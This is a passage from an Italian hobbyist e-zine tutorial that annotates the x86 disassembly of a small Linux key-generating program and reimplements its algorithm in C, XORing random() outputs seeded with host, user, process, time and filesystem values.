alla volta # alla funzione da me chiamata Call_much (per non dover sempre trascrivere # l'indirizzo) 0x0804856c pushl %esi #passa (#1) # chiama Call_much 0x0804856d call 0x08048610 0x08048572 pushl %edi #passa (#2) # chiama Call_much 0x08048573 call 0x08048610 0x08048578 movl 0xffffffb4(%ebp),%edx #copia ind %ebp-4Ch in %edx (#3) 0x0804857b pushl %edx #passa (#3) # chiama Call_much 0x0804857c call 0x08048610 0x08048581 pushl %ebx #passa (#4) # chiama Call_much 0x08048582 call 0x08048610 0x08048587 addl $0x20,%esp #libera lo stack da 8 word 0x0804858a pushl %ebx #passa (#4) -- seconda volta (al posto di #5) # chiama Call_much 0x0804858b call 0x08048610 0x08048590 movl 0xffffffb0(%ebp),%edx #copia %ebp-50h in %edx (#6) 0x08048593 pushl %edx #passa (#6) # chiama Call_much 0x08048594 call 0x08048610 0x08048599 movl 0xffffffb8(%ebp),%eax #copia %ebp-48h in %eax (#7) 0x0804859c pushl %eax #passa (#7) # chiama Call_much 0x0804859d call 0x08048610 0x080485a2 movl 0xffffffbc(%ebp),%eax #copia %ebp-44h in %eax (#7+1) 0x080485a5 pushl %eax #passa (#7+1) # chiama Call_much 0x080485a6 call 0x08048610 0x080485ab movl 0xffffffc8(%ebp),%eax #copia %ebp-38h in %eax (#8+2) 0x080485ae pushl %eax #passa (#8+2) # chiama Call_much 0x080485af call 0x08048610 0x080485b4 movl 0xffffffcc(%ebp),%eax #%ebp-34h (#8+3) 0x080485b7 pushl %eax # chiama Call_much 0x080485b8 call 0x08048610 0x080485bd movl 0xffffffd0(%ebp),%eax #%ebp-30h (#8+4) 0x080485c0 pushl %eax # chiama Call_much 0x080485c1 call 0x08048610 0x080485c6 movl 0xffffffd4(%ebp),%eax #%ebp-2Ch (#8+5) 0x080485c9 pushl %eax # chiama Call_much 0x080485ca call 0x08048610 0x080485cf addl $0x20,%esp #libera lo stack di 8 word 0x080485d2 movl 0xffffffd8(%ebp),%eax #%ebp-28h (#8+6) 0x080485d5 pushl %eax # chiama Call_much 0x080485d6 call 0x08048610 # terminata l'eleborazione procede a stampare la key ottenuta; i valori # vengono stampati come esadecimali # passa gli indirizzi dei 4 campi dati per la printf 0x080485db movl 0x80497c4,%eax #ultimo 0x080485e0 pushl %eax 0x080485e1 movl 0x80497c0,%eax #sono nelle locazioni da 0x80497b8 0x080485e6 pushl %eax 0x080485e7 movl 0x80497bc,%eax #a 0x80497c4 0x080485ec pushl %eax 0x080485ed movl 0x80497b8,%eax #primo 0x080485f2 pushl %eax # stringa di formattazione per la printf # Possible reference to string: # "%08lx%08lx%08lx%08lx" 0x080485f3 pushl $0x80486ae #passa il formato della stringa # Reference to function : printf 0x080485f8 call 0x08048448 #chiama la printf # ripristino registri e disallocazione stack frame 0x080485fd leal 0xffffffa4(%ebp),%esp 0x08048600 popl %ebx 0x08048601 popl %esi 0x08048602 popl %edi 0x08048603 movl %ebp,%esp 0x08048605 popl %ebp 0x08048606 ret #ritorna dalla chiamata ############################################################### # Spiegazione della funzione Call_much # # La funzione Call_much usa il valore passato come seme per la funzione # random. # Poi effettua uno xor dei valori della chiave da ottenere con i valori # restituiti da random. # ############################################################### # Referenced from call at 0804856d ; 08048573 ; 0804857c ; 08048582 ; 0804858b ; # 08048594 ; 0804859d ; 080485a6 ; 080485af ; 080485b8 ; 080485c1 ; 080485ca ; # 080485d6 ; # Call_much: 0x08048610 pushl %ebp 0x08048611 movl %esp,%ebp 0x08048613 pushl %esi 0x08048614 pushl %ebx # fine allocazione stack frame e salvataggio registri 0x08048615 movl 0x8(%ebp),%eax #copia il parametro passato in %eax 0x08048618 pushl %eax #passa %eax alla funzione srandom # Reference to function : srandom # # #include # # void srandom(unsigned int seed); # # # The srandom() function sets its argument as the seed for a # new sequence of pseudo-random integers to be returned by # random(). These sequences are repeatable by calling sran- # dom() with the same seed value. If no seed value is pro- # vided, the random() function is automatically seeded with # a value of 1. # 0x08048619 call 0x08048498 #chiama srandom 0x0804861e addl $0x4,%esp #libera lo stack # %ebx, %esi indirizzi inizio e fine numero da elaborare 0x08048621 movl $0x80497b8,%ebx #copia l'indirizzo in %ebx # 0x80497b8 locazione dove INIZIA il numero da elaborare 0x08048626 movl $0x80497c4,%esi #copia l'indirizzo in %esi # 0x80497c4 locazione dove FINISCE il numero da elaborare 0x0804862b nop # Reference to function : random # Referenced from jump at 08048638 ; # # #include # # long int random(void); # # The random() function uses a non-linear additive feedback # random number generator employing a default table of size # 31 long integers to return successive pseudo-random num- # bers in the range from 0 to RAND_MAX. # # call_m1: #etichetta aggiunta da me per avere un riferimento per il salto 0x0804862c call 0x08048418 #chiama la funzione random # xora il valore ritornato da random con quello puntato da %ebx 0x08048631 xorl %eax,(%ebx) 0x08048633 addl $0x4,%ebx #incrementa %ebx di 4; passa alla word successiva 0x08048636 cmpl %esi,%ebx #confronta %esi con %ebx # salta a call_m1 0x08048638 jle 0x0804862c #esegue l'elaborazione fino a quando %ebx<=%esi # ripristina registri e disalloca stack frame per il ritorno dalla chiamata 0x0804863a leal 0xfffffff8(%ebp),%esp 0x0804863d popl %ebx 0x0804863e popl %esi 0x0804863f movl %ebp,%esp 0x08048641 popl %ebp 0x08048642 ret Ecco spiegato l'algoritmo utilizzato dal programma. A mio avviso e' un buon metodo per generare chiavi "casuali" per un uso giornaliero 8-) Riproduciamo l'algoritmo in C: /*file syskeygen.c*/ #include #include #include #include #include #include void call_much(long int); /*array per contenere la key*/ static long int key[4]; void call_much(long int num) { int i; srandom(num); for(i=0; i<4; i++) key[i]^=random(); } main(void) { long int hostid, uid, gid, pid, pgrp; /*parametri per gettimeofday*/ struct timeval *tv; struct timezone *tz=0; /*parametri per statfs*/ char path[]="."; struct statfs *buf; /*allocazione delle strutture*/ tv=(struct timeval *) malloc(sizeof(struct timeval)); buf=(struct statfs *) malloc(sizeof(struct statfs)); hostid=gethostid(); uid=getuid(); gid=getgid(); pid=getpid(); pgrp=getpgrp(); gettimeofday(tv, tz); statfs(path, buf); /* inizio chiamate a call_much */ call_much(hostid); call_much(uid); call_much(gid); call_much(pid); call_much(pid); /* ripetuta due volte con il valore pid, come nel disassemblato*/ call_much(pgrp); call_much(tv->tv_sec); call_much(tv->tv_usec); call_much(buf->f_blocks); call_much(buf->f_bfree); call_much(buf->f_bavail); call_much(buf->f_files); call_much(buf->f_ffree); printf("\n\033[10G\033[1m\033[31m\033[44m syscalo key generator \033[m\n"); printf("\nkey: %08lx%08lx%08lx%08lx\n", key[0], key[1], key[2], key[3]); exit(0); } Credo non sia il caso di commentare il codice vista la semplicita'. Note finali Spero abbiate trovato interessante questo tutorial, nonostante sia abbastanza semplice; per chi inizia credo possa essere un buon punto di partenza. Ora potreste sfruttare questo algoritmo per migliorarlo, ottimizzarlo, o semplicemente prendere spunto per crearne uno vostro. -x bye to all x- syscalo ============================================================================== ---------------------------------[ EOF 18/21 ]-------------------------------- ==============================================================================